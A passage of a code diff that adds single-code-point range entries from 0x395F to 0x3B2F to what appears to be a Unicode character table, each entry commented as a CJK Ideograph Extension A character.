+ [0x395f, 0x395f], /* CJK Ideograph Extension A */
+ [0x3960, 0x3960], /* CJK Ideograph Extension A */
+ [0x3961, 0x3961], /* CJK Ideograph Extension A */
+ [0x3962, 0x3962], /* CJK Ideograph Extension A */
+ [0x3963, 0x3963], /* CJK Ideograph Extension A */
+ [0x3964, 0x3964], /* CJK Ideograph Extension A */
+ [0x3965, 0x3965], /* CJK Ideograph Extension A */
+ [0x3966, 0x3966], /* CJK Ideograph Extension A */
+ [0x3967, 0x3967], /* CJK Ideograph Extension A */
+ [0x3968, 0x3968], /* CJK Ideograph Extension A */
+ [0x3969, 0x3969], /* CJK Ideograph Extension A */
+ [0x396a, 0x396a], /* CJK Ideograph Extension A */
+ [0x396b, 0x396b], /* CJK Ideograph Extension A */
+ [0x396c, 0x396c], /* CJK Ideograph Extension A */
+ [0x396d, 0x396d], /* CJK Ideograph Extension A */
+ [0x396e, 0x396e], /* CJK Ideograph Extension A */
+ [0x396f, 0x396f], /* CJK Ideograph Extension A */
+ [0x3970, 0x3970], /* CJK Ideograph Extension A */
+ [0x3971, 0x3971], /* CJK Ideograph Extension A */
+ [0x3972, 0x3972], /* CJK Ideograph Extension A */
+ [0x3973, 0x3973], /* CJK Ideograph Extension A */
+ [0x3974, 0x3974], /* CJK Ideograph Extension A */
+ [0x3975, 0x3975], /* CJK Ideograph Extension A */
+ [0x3976, 0x3976], /* CJK Ideograph Extension A */
+ [0x3977, 0x3977], /* CJK Ideograph Extension A */
+ [0x3978, 0x3978], /* CJK Ideograph Extension A */
+ [0x3979, 0x3979], /* CJK Ideograph Extension A */
+ [0x397a, 0x397a], /* CJK Ideograph Extension A */
+ [0x397b, 0x397b], /* CJK Ideograph Extension A */
+ [0x397c, 0x397c], /* CJK Ideograph Extension A */
+ [0x397d, 0x397d], /* CJK Ideograph Extension A */
+ [0x397e, 0x397e], /* CJK Ideograph Extension A */
+ [0x397f, 0x397f], /* CJK Ideograph Extension A */
+ [0x3980, 0x3980], /* CJK Ideograph Extension A */
+ [0x3981, 0x3981], /* CJK Ideograph Extension A */
+ [0x3982, 0x3982], /* CJK Ideograph Extension A */
+ [0x3983, 0x3983], /* CJK Ideograph Extension A */
+ [0x3984, 0x3984], /* CJK Ideograph Extension A */
+ [0x3985, 0x3985], /* CJK Ideograph Extension A */
+ [0x3986, 0x3986], /* CJK Ideograph Extension A */
+ [0x3987, 0x3987], /* CJK Ideograph Extension A */
+ [0x3988, 0x3988], /* CJK Ideograph Extension A */
+ [0x3989, 0x3989], /* CJK Ideograph Extension A */
+ [0x398a, 0x398a], /* CJK Ideograph Extension A */
+ [0x398b, 0x398b], /* CJK Ideograph Extension A */
+ [0x398c, 0x398c], /* CJK Ideograph Extension A */
+ [0x398d, 0x398d], /* CJK Ideograph Extension A */
+ [0x398e, 0x398e], /* CJK Ideograph Extension A */
+ [0x398f, 0x398f], /* CJK Ideograph Extension A */
+ [0x3990, 0x3990], /* CJK Ideograph Extension A */
+ [0x3991, 0x3991], /* CJK Ideograph Extension A */
+ [0x3992, 0x3992], /* CJK Ideograph Extension A */
+ [0x3993, 0x3993], /* CJK Ideograph Extension A */
+ [0x3994, 0x3994], /* CJK Ideograph Extension A */
+ [0x3995, 0x3995], /* CJK Ideograph Extension A */
+ [0x3996, 0x3996], /* CJK Ideograph Extension A */
+ [0x3997, 0x3997], /* CJK Ideograph Extension A */
+ [0x3998, 0x3998], /* CJK Ideograph Extension A */
+ [0x3999, 0x3999], /* CJK Ideograph Extension A */
+ [0x399a, 0x399a], /* CJK Ideograph Extension A */
+ [0x399b, 0x399b], /* CJK Ideograph Extension A */
+ [0x399c, 0x399c], /* CJK Ideograph Extension A */
+ [0x399d, 0x399d], /* CJK Ideograph Extension A */
+ [0x399e, 0x399e], /* CJK Ideograph Extension A */
+ [0x399f, 0x399f], /* CJK Ideograph Extension A */
+ [0x39a0, 0x39a0], /* CJK Ideograph Extension A */
+ [0x39a1, 0x39a1], /* CJK Ideograph Extension A */
+ [0x39a2, 0x39a2], /* CJK Ideograph Extension A */
+ [0x39a3, 0x39a3], /* CJK Ideograph Extension A */
+ [0x39a4, 0x39a4], /* CJK Ideograph Extension A */
+ [0x39a5, 0x39a5], /* CJK Ideograph Extension A */
+ [0x39a6, 0x39a6], /* CJK Ideograph Extension A */
+ [0x39a7, 0x39a7], /* CJK Ideograph Extension A */
+ [0x39a8, 0x39a8], /* CJK Ideograph Extension A */
+ [0x39a9, 0x39a9], /* CJK Ideograph Extension A */
+ [0x39aa, 0x39aa], /* CJK Ideograph Extension A */
+ [0x39ab, 0x39ab], /* CJK Ideograph Extension A */
+ [0x39ac, 0x39ac], /* CJK Ideograph Extension A */
+ [0x39ad, 0x39ad], /* CJK Ideograph Extension A */
+ [0x39ae, 0x39ae], /* CJK Ideograph Extension A */
+ [0x39af, 0x39af], /* CJK Ideograph Extension A */
+ [0x39b0, 0x39b0], /* CJK Ideograph Extension A */
+ [0x39b1, 0x39b1], /* CJK Ideograph Extension A */
+ [0x39b2, 0x39b2], /* CJK Ideograph Extension A */
+ [0x39b3, 0x39b3], /* CJK Ideograph Extension A */
+ [0x39b4, 0x39b4], /* CJK Ideograph Extension A */
+ [0x39b5, 0x39b5], /* CJK Ideograph Extension A */
+ [0x39b6, 0x39b6], /* CJK Ideograph Extension A */
+ [0x39b7, 0x39b7], /* CJK Ideograph Extension A */
+ [0x39b8, 0x39b8], /* CJK Ideograph Extension A */
+ [0x39b9, 0x39b9], /* CJK Ideograph Extension A */
+ [0x39ba, 0x39ba], /* CJK Ideograph Extension A */
+ [0x39bb, 0x39bb], /* CJK Ideograph Extension A */
+ [0x39bc, 0x39bc], /* CJK Ideograph Extension A */
+ [0x39bd, 0x39bd], /* CJK Ideograph Extension A */
+ [0x39be, 0x39be], /* CJK Ideograph Extension A */
+ [0x39bf, 0x39bf], /* CJK Ideograph Extension A */
+ [0x39c0, 0x39c0], /* CJK Ideograph Extension A */
+ [0x39c1, 0x39c1], /* CJK Ideograph Extension A */
+ [0x39c2, 0x39c2], /* CJK Ideograph Extension A */
+ [0x39c3, 0x39c3], /* CJK Ideograph Extension A */
+ [0x39c4, 0x39c4], /* CJK Ideograph Extension A */
+ [0x39c5, 0x39c5], /* CJK Ideograph Extension A */
+ [0x39c6, 0x39c6], /* CJK Ideograph Extension A */
+ [0x39c7, 0x39c7], /* CJK Ideograph Extension A */
+ [0x39c8, 0x39c8], /* CJK Ideograph Extension A */
+ [0x39c9, 0x39c9], /* CJK Ideograph Extension A */
+ [0x39ca, 0x39ca], /* CJK Ideograph Extension A */
+ [0x39cb, 0x39cb], /* CJK Ideograph Extension A */
+ [0x39cc, 0x39cc], /* CJK Ideograph Extension A */
+ [0x39cd, 0x39cd], /* CJK Ideograph Extension A */
+ [0x39ce, 0x39ce], /* CJK Ideograph Extension A */
+ [0x39cf, 0x39cf], /* CJK Ideograph Extension A */
+ [0x39d0, 0x39d0], /* CJK Ideograph Extension A */
+ [0x39d1, 0x39d1], /* CJK Ideograph Extension A */
+ [0x39d2, 0x39d2], /* CJK Ideograph Extension A */
+ [0x39d3, 0x39d3], /* CJK Ideograph Extension A */
+ [0x39d4, 0x39d4], /* CJK Ideograph Extension A */
+ [0x39d5, 0x39d5], /* CJK Ideograph Extension A */
+ [0x39d6, 0x39d6], /* CJK Ideograph Extension A */
+ [0x39d7, 0x39d7], /* CJK Ideograph Extension A */
+ [0x39d8, 0x39d8], /* CJK Ideograph Extension A */
+ [0x39d9, 0x39d9], /* CJK Ideograph Extension A */
+ [0x39da, 0x39da], /* CJK Ideograph Extension A */
+ [0x39db, 0x39db], /* CJK Ideograph Extension A */
+ [0x39dc, 0x39dc], /* CJK Ideograph Extension A */
+ [0x39dd, 0x39dd], /* CJK Ideograph Extension A */
+ [0x39de, 0x39de], /* CJK Ideograph Extension A */
+ [0x39df, 0x39df], /* CJK Ideograph Extension A */
+ [0x39e0, 0x39e0], /* CJK Ideograph Extension A */
+ [0x39e1, 0x39e1], /* CJK Ideograph Extension A */
+ [0x39e2, 0x39e2], /* CJK Ideograph Extension A */
+ [0x39e3, 0x39e3], /* CJK Ideograph Extension A */
+ [0x39e4, 0x39e4], /* CJK Ideograph Extension A */
+ [0x39e5, 0x39e5], /* CJK Ideograph Extension A */
+ [0x39e6, 0x39e6], /* CJK Ideograph Extension A */
+ [0x39e7, 0x39e7], /* CJK Ideograph Extension A */
+ [0x39e8, 0x39e8], /* CJK Ideograph Extension A */
+ [0x39e9, 0x39e9], /* CJK Ideograph Extension A */
+ [0x39ea, 0x39ea], /* CJK Ideograph Extension A */
+ [0x39eb, 0x39eb], /* CJK Ideograph Extension A */
+ [0x39ec, 0x39ec], /* CJK Ideograph Extension A */
+ [0x39ed, 0x39ed], /* CJK Ideograph Extension A */
+ [0x39ee, 0x39ee], /* CJK Ideograph Extension A */
+ [0x39ef, 0x39ef], /* CJK Ideograph Extension A */
+ [0x39f0, 0x39f0], /* CJK Ideograph Extension A */
+ [0x39f1, 0x39f1], /* CJK Ideograph Extension A */
+ [0x39f2, 0x39f2], /* CJK Ideograph Extension A */
+ [0x39f3, 0x39f3], /* CJK Ideograph Extension A */
+ [0x39f4, 0x39f4], /* CJK Ideograph Extension A */
+ [0x39f5, 0x39f5], /* CJK Ideograph Extension A */
+ [0x39f6, 0x39f6], /* CJK Ideograph Extension A */
+ [0x39f7, 0x39f7], /* CJK Ideograph Extension A */
+ [0x39f8, 0x39f8], /* CJK Ideograph Extension A */
+ [0x39f9, 0x39f9], /* CJK Ideograph Extension A */
+ [0x39fa, 0x39fa], /* CJK Ideograph Extension A */
+ [0x39fb, 0x39fb], /* CJK Ideograph Extension A */
+ [0x39fc, 0x39fc], /* CJK Ideograph Extension A */
+ [0x39fd, 0x39fd], /* CJK Ideograph Extension A */
+ [0x39fe, 0x39fe], /* CJK Ideograph Extension A */
+ [0x39ff, 0x39ff], /* CJK Ideograph Extension A */
+ [0x3a00, 0x3a00], /* CJK Ideograph Extension A */
+ [0x3a01, 0x3a01], /* CJK Ideograph Extension A */
+ [0x3a02, 0x3a02], /* CJK Ideograph Extension A */
+ [0x3a03, 0x3a03], /* CJK Ideograph Extension A */
+ [0x3a04, 0x3a04], /* CJK Ideograph Extension A */
+ [0x3a05, 0x3a05], /* CJK Ideograph Extension A */
+ [0x3a06, 0x3a06], /* CJK Ideograph Extension A */
+ [0x3a07, 0x3a07], /* CJK Ideograph Extension A */
+ [0x3a08, 0x3a08], /* CJK Ideograph Extension A */
+ [0x3a09, 0x3a09], /* CJK Ideograph Extension A */
+ [0x3a0a, 0x3a0a], /* CJK Ideograph Extension A */
+ [0x3a0b, 0x3a0b], /* CJK Ideograph Extension A */
+ [0x3a0c, 0x3a0c], /* CJK Ideograph Extension A */
+ [0x3a0d, 0x3a0d], /* CJK Ideograph Extension A */
+ [0x3a0e, 0x3a0e], /* CJK Ideograph Extension A */
+ [0x3a0f, 0x3a0f], /* CJK Ideograph Extension A */
+ [0x3a10, 0x3a10], /* CJK Ideograph Extension A */
+ [0x3a11, 0x3a11], /* CJK Ideograph Extension A */
+ [0x3a12, 0x3a12], /* CJK Ideograph Extension A */
+ [0x3a13, 0x3a13], /* CJK Ideograph Extension A */
+ [0x3a14, 0x3a14], /* CJK Ideograph Extension A */
+ [0x3a15, 0x3a15], /* CJK Ideograph Extension A */
+ [0x3a16, 0x3a16], /* CJK Ideograph Extension A */
+ [0x3a17, 0x3a17], /* CJK Ideograph Extension A */
+ [0x3a18, 0x3a18], /* CJK Ideograph Extension A */
+ [0x3a19, 0x3a19], /* CJK Ideograph Extension A */
+ [0x3a1a, 0x3a1a], /* CJK Ideograph Extension A */
+ [0x3a1b, 0x3a1b], /* CJK Ideograph Extension A */
+ [0x3a1c, 0x3a1c], /* CJK Ideograph Extension A */
+ [0x3a1d, 0x3a1d], /* CJK Ideograph Extension A */
+ [0x3a1e, 0x3a1e], /* CJK Ideograph Extension A */
+ [0x3a1f, 0x3a1f], /* CJK Ideograph Extension A */
+ [0x3a20, 0x3a20], /* CJK Ideograph Extension A */
+ [0x3a21, 0x3a21], /* CJK Ideograph Extension A */
+ [0x3a22, 0x3a22], /* CJK Ideograph Extension A */
+ [0x3a23, 0x3a23], /* CJK Ideograph Extension A */
+ [0x3a24, 0x3a24], /* CJK Ideograph Extension A */
+ [0x3a25, 0x3a25], /* CJK Ideograph Extension A */
+ [0x3a26, 0x3a26], /* CJK Ideograph Extension A */
+ [0x3a27, 0x3a27], /* CJK Ideograph Extension A */
+ [0x3a28, 0x3a28], /* CJK Ideograph Extension A */
+ [0x3a29, 0x3a29], /* CJK Ideograph Extension A */
+ [0x3a2a, 0x3a2a], /* CJK Ideograph Extension A */
+ [0x3a2b, 0x3a2b], /* CJK Ideograph Extension A */
+ [0x3a2c, 0x3a2c], /* CJK Ideograph Extension A */
+ [0x3a2d, 0x3a2d], /* CJK Ideograph Extension A */
+ [0x3a2e, 0x3a2e], /* CJK Ideograph Extension A */
+ [0x3a2f, 0x3a2f], /* CJK Ideograph Extension A */
+ [0x3a30, 0x3a30], /* CJK Ideograph Extension A */
+ [0x3a31, 0x3a31], /* CJK Ideograph Extension A */
+ [0x3a32, 0x3a32], /* CJK Ideograph Extension A */
+ [0x3a33, 0x3a33], /* CJK Ideograph Extension A */
+ [0x3a34, 0x3a34], /* CJK Ideograph Extension A */
+ [0x3a35, 0x3a35], /* CJK Ideograph Extension A */
+ [0x3a36, 0x3a36], /* CJK Ideograph Extension A */
+ [0x3a37, 0x3a37], /* CJK Ideograph Extension A */
+ [0x3a38, 0x3a38], /* CJK Ideograph Extension A */
+ [0x3a39, 0x3a39], /* CJK Ideograph Extension A */
+ [0x3a3a, 0x3a3a], /* CJK Ideograph Extension A */
+ [0x3a3b, 0x3a3b], /* CJK Ideograph Extension A */
+ [0x3a3c, 0x3a3c], /* CJK Ideograph Extension A */
+ [0x3a3d, 0x3a3d], /* CJK Ideograph Extension A */
+ [0x3a3e, 0x3a3e], /* CJK Ideograph Extension A */
+ [0x3a3f, 0x3a3f], /* CJK Ideograph Extension A */
+ [0x3a40, 0x3a40], /* CJK Ideograph Extension A */
+ [0x3a41, 0x3a41], /* CJK Ideograph Extension A */
+ [0x3a42, 0x3a42], /* CJK Ideograph Extension A */
+ [0x3a43, 0x3a43], /* CJK Ideograph Extension A */
+ [0x3a44, 0x3a44], /* CJK Ideograph Extension A */
+ [0x3a45, 0x3a45], /* CJK Ideograph Extension A */
+ [0x3a46, 0x3a46], /* CJK Ideograph Extension A */
+ [0x3a47, 0x3a47], /* CJK Ideograph Extension A */
+ [0x3a48, 0x3a48], /* CJK Ideograph Extension A */
+ [0x3a49, 0x3a49], /* CJK Ideograph Extension A */
+ [0x3a4a, 0x3a4a], /* CJK Ideograph Extension A */
+ [0x3a4b, 0x3a4b], /* CJK Ideograph Extension A */
+ [0x3a4c, 0x3a4c], /* CJK Ideograph Extension A */
+ [0x3a4d, 0x3a4d], /* CJK Ideograph Extension A */
+ [0x3a4e, 0x3a4e], /* CJK Ideograph Extension A */
+ [0x3a4f, 0x3a4f], /* CJK Ideograph Extension A */
+ [0x3a50, 0x3a50], /* CJK Ideograph Extension A */
+ [0x3a51, 0x3a51], /* CJK Ideograph Extension A */
+ [0x3a52, 0x3a52], /* CJK Ideograph Extension A */
+ [0x3a53, 0x3a53], /* CJK Ideograph Extension A */
+ [0x3a54, 0x3a54], /* CJK Ideograph Extension A */
+ [0x3a55, 0x3a55], /* CJK Ideograph Extension A */
+ [0x3a56, 0x3a56], /* CJK Ideograph Extension A */
+ [0x3a57, 0x3a57], /* CJK Ideograph Extension A */
+ [0x3a58, 0x3a58], /* CJK Ideograph Extension A */
+ [0x3a59, 0x3a59], /* CJK Ideograph Extension A */
+ [0x3a5a, 0x3a5a], /* CJK Ideograph Extension A */
+ [0x3a5b, 0x3a5b], /* CJK Ideograph Extension A */
+ [0x3a5c, 0x3a5c], /* CJK Ideograph Extension A */
+ [0x3a5d, 0x3a5d], /* CJK Ideograph Extension A */
+ [0x3a5e, 0x3a5e], /* CJK Ideograph Extension A */
+ [0x3a5f, 0x3a5f], /* CJK Ideograph Extension A */
+ [0x3a60, 0x3a60], /* CJK Ideograph Extension A */
+ [0x3a61, 0x3a61], /* CJK Ideograph Extension A */
+ [0x3a62, 0x3a62], /* CJK Ideograph Extension A */
+ [0x3a63, 0x3a63], /* CJK Ideograph Extension A */
+ [0x3a64, 0x3a64], /* CJK Ideograph Extension A */
+ [0x3a65, 0x3a65], /* CJK Ideograph Extension A */
+ [0x3a66, 0x3a66], /* CJK Ideograph Extension A */
+ [0x3a67, 0x3a67], /* CJK Ideograph Extension A */
+ [0x3a68, 0x3a68], /* CJK Ideograph Extension A */
+ [0x3a69, 0x3a69], /* CJK Ideograph Extension A */
+ [0x3a6a, 0x3a6a], /* CJK Ideograph Extension A */
+ [0x3a6b, 0x3a6b], /* CJK Ideograph Extension A */
+ [0x3a6c, 0x3a6c], /* CJK Ideograph Extension A */
+ [0x3a6d, 0x3a6d], /* CJK Ideograph Extension A */
+ [0x3a6e, 0x3a6e], /* CJK Ideograph Extension A */
+ [0x3a6f, 0x3a6f], /* CJK Ideograph Extension A */
+ [0x3a70, 0x3a70], /* CJK Ideograph Extension A */
+ [0x3a71, 0x3a71], /* CJK Ideograph Extension A */
+ [0x3a72, 0x3a72], /* CJK Ideograph Extension A */
+ [0x3a73, 0x3a73], /* CJK Ideograph Extension A */
+ [0x3a74, 0x3a74], /* CJK Ideograph Extension A */
+ [0x3a75, 0x3a75], /* CJK Ideograph Extension A */
+ [0x3a76, 0x3a76], /* CJK Ideograph Extension A */
+ [0x3a77, 0x3a77], /* CJK Ideograph Extension A */
+ [0x3a78, 0x3a78], /* CJK Ideograph Extension A */
+ [0x3a79, 0x3a79], /* CJK Ideograph Extension A */
+ [0x3a7a, 0x3a7a], /* CJK Ideograph Extension A */
+ [0x3a7b, 0x3a7b], /* CJK Ideograph Extension A */
+ [0x3a7c, 0x3a7c], /* CJK Ideograph Extension A */
+ [0x3a7d, 0x3a7d], /* CJK Ideograph Extension A */
+ [0x3a7e, 0x3a7e], /* CJK Ideograph Extension A */
+ [0x3a7f, 0x3a7f], /* CJK Ideograph Extension A */
+ [0x3a80, 0x3a80], /* CJK Ideograph Extension A */
+ [0x3a81, 0x3a81], /* CJK Ideograph Extension A */
+ [0x3a82, 0x3a82], /* CJK Ideograph Extension A */
+ [0x3a83, 0x3a83], /* CJK Ideograph Extension A */
+ [0x3a84, 0x3a84], /* CJK Ideograph Extension A */
+ [0x3a85, 0x3a85], /* CJK Ideograph Extension A */
+ [0x3a86, 0x3a86], /* CJK Ideograph Extension A */
+ [0x3a87, 0x3a87], /* CJK Ideograph Extension A */
+ [0x3a88, 0x3a88], /* CJK Ideograph Extension A */
+ [0x3a89, 0x3a89], /* CJK Ideograph Extension A */
+ [0x3a8a, 0x3a8a], /* CJK Ideograph Extension A */
+ [0x3a8b, 0x3a8b], /* CJK Ideograph Extension A */
+ [0x3a8c, 0x3a8c], /* CJK Ideograph Extension A */
+ [0x3a8d, 0x3a8d], /* CJK Ideograph Extension A */
+ [0x3a8e, 0x3a8e], /* CJK Ideograph Extension A */
+ [0x3a8f, 0x3a8f], /* CJK Ideograph Extension A */
+ [0x3a90, 0x3a90], /* CJK Ideograph Extension A */
+ [0x3a91, 0x3a91], /* CJK Ideograph Extension A */
+ [0x3a92, 0x3a92], /* CJK Ideograph Extension A */
+ [0x3a93, 0x3a93], /* CJK Ideograph Extension A */
+ [0x3a94, 0x3a94], /* CJK Ideograph Extension A */
+ [0x3a95, 0x3a95], /* CJK Ideograph Extension A */
+ [0x3a96, 0x3a96], /* CJK Ideograph Extension A */
+ [0x3a97, 0x3a97], /* CJK Ideograph Extension A */
+ [0x3a98, 0x3a98], /* CJK Ideograph Extension A */
+ [0x3a99, 0x3a99], /* CJK Ideograph Extension A */
+ [0x3a9a, 0x3a9a], /* CJK Ideograph Extension A */
+ [0x3a9b, 0x3a9b], /* CJK Ideograph Extension A */
+ [0x3a9c, 0x3a9c], /* CJK Ideograph Extension A */
+ [0x3a9d, 0x3a9d], /* CJK Ideograph Extension A */
+ [0x3a9e, 0x3a9e], /* CJK Ideograph Extension A */
+ [0x3a9f, 0x3a9f], /* CJK Ideograph Extension A */
+ [0x3aa0, 0x3aa0], /* CJK Ideograph Extension A */
+ [0x3aa1, 0x3aa1], /* CJK Ideograph Extension A */
+ [0x3aa2, 0x3aa2], /* CJK Ideograph Extension A */
+ [0x3aa3, 0x3aa3], /* CJK Ideograph Extension A */
+ [0x3aa4, 0x3aa4], /* CJK Ideograph Extension A */
+ [0x3aa5, 0x3aa5], /* CJK Ideograph Extension A */
+ [0x3aa6, 0x3aa6], /* CJK Ideograph Extension A */
+ [0x3aa7, 0x3aa7], /* CJK Ideograph Extension A */
+ [0x3aa8, 0x3aa8], /* CJK Ideograph Extension A */
+ [0x3aa9, 0x3aa9], /* CJK Ideograph Extension A */
+ [0x3aaa, 0x3aaa], /* CJK Ideograph Extension A */
+ [0x3aab, 0x3aab], /* CJK Ideograph Extension A */
+ [0x3aac, 0x3aac], /* CJK Ideograph Extension A */
+ [0x3aad, 0x3aad], /* CJK Ideograph Extension A */
+ [0x3aae, 0x3aae], /* CJK Ideograph Extension A */
+ [0x3aaf, 0x3aaf], /* CJK Ideograph Extension A */
+ [0x3ab0, 0x3ab0], /* CJK Ideograph Extension A */
+ [0x3ab1, 0x3ab1], /* CJK Ideograph Extension A */
+ [0x3ab2, 0x3ab2], /* CJK Ideograph Extension A */
+ [0x3ab3, 0x3ab3], /* CJK Ideograph Extension A */
+ [0x3ab4, 0x3ab4], /* CJK Ideograph Extension A */
+ [0x3ab5, 0x3ab5], /* CJK Ideograph Extension A */
+ [0x3ab6, 0x3ab6], /* CJK Ideograph Extension A */
+ [0x3ab7, 0x3ab7], /* CJK Ideograph Extension A */
+ [0x3ab8, 0x3ab8], /* CJK Ideograph Extension A */
+ [0x3ab9, 0x3ab9], /* CJK Ideograph Extension A */
+ [0x3aba, 0x3aba], /* CJK Ideograph Extension A */
+ [0x3abb, 0x3abb], /* CJK Ideograph Extension A */
+ [0x3abc, 0x3abc], /* CJK Ideograph Extension A */
+ [0x3abd, 0x3abd], /* CJK Ideograph Extension A */
+ [0x3abe, 0x3abe], /* CJK Ideograph Extension A */
+ [0x3abf, 0x3abf], /* CJK Ideograph Extension A */
+ [0x3ac0, 0x3ac0], /* CJK Ideograph Extension A */
+ [0x3ac1, 0x3ac1], /* CJK Ideograph Extension A */
+ [0x3ac2, 0x3ac2], /* CJK Ideograph Extension A */
+ [0x3ac3, 0x3ac3], /* CJK Ideograph Extension A */
+ [0x3ac4, 0x3ac4], /* CJK Ideograph Extension A */
+ [0x3ac5, 0x3ac5], /* CJK Ideograph Extension A */
+ [0x3ac6, 0x3ac6], /* CJK Ideograph Extension A */
+ [0x3ac7, 0x3ac7], /* CJK Ideograph Extension A */
+ [0x3ac8, 0x3ac8], /* CJK Ideograph Extension A */
+ [0x3ac9, 0x3ac9], /* CJK Ideograph Extension A */
+ [0x3aca, 0x3aca], /* CJK Ideograph Extension A */
+ [0x3acb, 0x3acb], /* CJK Ideograph Extension A */
+ [0x3acc, 0x3acc], /* CJK Ideograph Extension A */
+ [0x3acd, 0x3acd], /* CJK Ideograph Extension A */
+ [0x3ace, 0x3ace], /* CJK Ideograph Extension A */
+ [0x3acf, 0x3acf], /* CJK Ideograph Extension A */
+ [0x3ad0, 0x3ad0], /* CJK Ideograph Extension A */
+ [0x3ad1, 0x3ad1], /* CJK Ideograph Extension A */
+ [0x3ad2, 0x3ad2], /* CJK Ideograph Extension A */
+ [0x3ad3, 0x3ad3], /* CJK Ideograph Extension A */
+ [0x3ad4, 0x3ad4], /* CJK Ideograph Extension A */
+ [0x3ad5, 0x3ad5], /* CJK Ideograph Extension A */
+ [0x3ad6, 0x3ad6], /* CJK Ideograph Extension A */
+ [0x3ad7, 0x3ad7], /* CJK Ideograph Extension A */
+ [0x3ad8, 0x3ad8], /* CJK Ideograph Extension A */
+ [0x3ad9, 0x3ad9], /* CJK Ideograph Extension A */
+ [0x3ada, 0x3ada], /* CJK Ideograph Extension A */
+ [0x3adb, 0x3adb], /* CJK Ideograph Extension A */
+ [0x3adc, 0x3adc], /* CJK Ideograph Extension A */
+ [0x3add, 0x3add], /* CJK Ideograph Extension A */
+ [0x3ade, 0x3ade], /* CJK Ideograph Extension A */
+ [0x3adf, 0x3adf], /* CJK Ideograph Extension A */
+ [0x3ae0, 0x3ae0], /* CJK Ideograph Extension A */
+ [0x3ae1, 0x3ae1], /* CJK Ideograph Extension A */
+ [0x3ae2, 0x3ae2], /* CJK Ideograph Extension A */
+ [0x3ae3, 0x3ae3], /* CJK Ideograph Extension A */
+ [0x3ae4, 0x3ae4], /* CJK Ideograph Extension A */
+ [0x3ae5, 0x3ae5], /* CJK Ideograph Extension A */
+ [0x3ae6, 0x3ae6], /* CJK Ideograph Extension A */
+ [0x3ae7, 0x3ae7], /* CJK Ideograph Extension A */
+ [0x3ae8, 0x3ae8], /* CJK Ideograph Extension A */
+ [0x3ae9, 0x3ae9], /* CJK Ideograph Extension A */
+ [0x3aea, 0x3aea], /* CJK Ideograph Extension A */
+ [0x3aeb, 0x3aeb], /* CJK Ideograph Extension A */
+ [0x3aec, 0x3aec], /* CJK Ideograph Extension A */
+ [0x3aed, 0x3aed], /* CJK Ideograph Extension A */
+ [0x3aee, 0x3aee], /* CJK Ideograph Extension A */
+ [0x3aef, 0x3aef], /* CJK Ideograph Extension A */
+ [0x3af0, 0x3af0], /* CJK Ideograph Extension A */
+ [0x3af1, 0x3af1], /* CJK Ideograph Extension A */
+ [0x3af2, 0x3af2], /* CJK Ideograph Extension A */
+ [0x3af3, 0x3af3], /* CJK Ideograph Extension A */
+ [0x3af4, 0x3af4], /* CJK Ideograph Extension A */
+ [0x3af5, 0x3af5], /* CJK Ideograph Extension A */
+ [0x3af6, 0x3af6], /* CJK Ideograph Extension A */
+ [0x3af7, 0x3af7], /* CJK Ideograph Extension A */
+ [0x3af8, 0x3af8], /* CJK Ideograph Extension A */
+ [0x3af9, 0x3af9], /* CJK Ideograph Extension A */
+ [0x3afa, 0x3afa], /* CJK Ideograph Extension A */
+ [0x3afb, 0x3afb], /* CJK Ideograph Extension A */
+ [0x3afc, 0x3afc], /* CJK Ideograph Extension A */
+ [0x3afd, 0x3afd], /* CJK Ideograph Extension A */
+ [0x3afe, 0x3afe], /* CJK Ideograph Extension A */
+ [0x3aff, 0x3aff], /* CJK Ideograph Extension A */
+ [0x3b00, 0x3b00], /* CJK Ideograph Extension A */
+ [0x3b01, 0x3b01], /* CJK Ideograph Extension A */
+ [0x3b02, 0x3b02], /* CJK Ideograph Extension A */
+ [0x3b03, 0x3b03], /* CJK Ideograph Extension A */
+ [0x3b04, 0x3b04], /* CJK Ideograph Extension A */
+ [0x3b05, 0x3b05], /* CJK Ideograph Extension A */
+ [0x3b06, 0x3b06], /* CJK Ideograph Extension A */
+ [0x3b07, 0x3b07], /* CJK Ideograph Extension A */
+ [0x3b08, 0x3b08], /* CJK Ideograph Extension A */
+ [0x3b09, 0x3b09], /* CJK Ideograph Extension A */
+ [0x3b0a, 0x3b0a], /* CJK Ideograph Extension A */
+ [0x3b0b, 0x3b0b], /* CJK Ideograph Extension A */
+ [0x3b0c, 0x3b0c], /* CJK Ideograph Extension A */
+ [0x3b0d, 0x3b0d], /* CJK Ideograph Extension A */
+ [0x3b0e, 0x3b0e], /* CJK Ideograph Extension A */
+ [0x3b0f, 0x3b0f], /* CJK Ideograph Extension A */
+ [0x3b10, 0x3b10], /* CJK Ideograph Extension A */
+ [0x3b11, 0x3b11], /* CJK Ideograph Extension A */
+ [0x3b12, 0x3b12], /* CJK Ideograph Extension A */
+ [0x3b13, 0x3b13], /* CJK Ideograph Extension A */
+ [0x3b14, 0x3b14], /* CJK Ideograph Extension A */
+ [0x3b15, 0x3b15], /* CJK Ideograph Extension A */
+ [0x3b16, 0x3b16], /* CJK Ideograph Extension A */
+ [0x3b17, 0x3b17], /* CJK Ideograph Extension A */
+ [0x3b18, 0x3b18], /* CJK Ideograph Extension A */
+ [0x3b19, 0x3b19], /* CJK Ideograph Extension A */
+ [0x3b1a, 0x3b1a], /* CJK Ideograph Extension A */
+ [0x3b1b, 0x3b1b], /* CJK Ideograph Extension A */
+ [0x3b1c, 0x3b1c], /* CJK Ideograph Extension A */
+ [0x3b1d, 0x3b1d], /* CJK Ideograph Extension A */
+ [0x3b1e, 0x3b1e], /* CJK Ideograph Extension A */
+ [0x3b1f, 0x3b1f], /* CJK Ideograph Extension A */
+ [0x3b20, 0x3b20], /* CJK Ideograph Extension A */
+ [0x3b21, 0x3b21], /* CJK Ideograph Extension A */
+ [0x3b22, 0x3b22], /* CJK Ideograph Extension A */
+ [0x3b23, 0x3b23], /* CJK Ideograph Extension A */
+ [0x3b24, 0x3b24], /* CJK Ideograph Extension A */
+ [0x3b25, 0x3b25], /* CJK Ideograph Extension A */
+ [0x3b26, 0x3b26], /* CJK Ideograph Extension A */
+ [0x3b27, 0x3b27], /* CJK Ideograph Extension A */
+ [0x3b28, 0x3b28], /* CJK Ideograph Extension A */
+ [0x3b29, 0x3b29], /* CJK Ideograph Extension A */
+ [0x3b2a, 0x3b2a], /* CJK Ideograph Extension A */
+ [0x3b2b, 0x3b2b], /* CJK Ideograph Extension A */
+ [0x3b2c, 0x3b2c], /* CJK Ideograph Extension A */
+ [0x3b2d, 0x3b2d], /* CJK Ideograph Extension A */
+ [0x3b2e, 0x3b2e], /* CJK Ideograph Extension A */
+ [0x3b2f, 0x3b2f], /* CJK Ideograph Extension A */
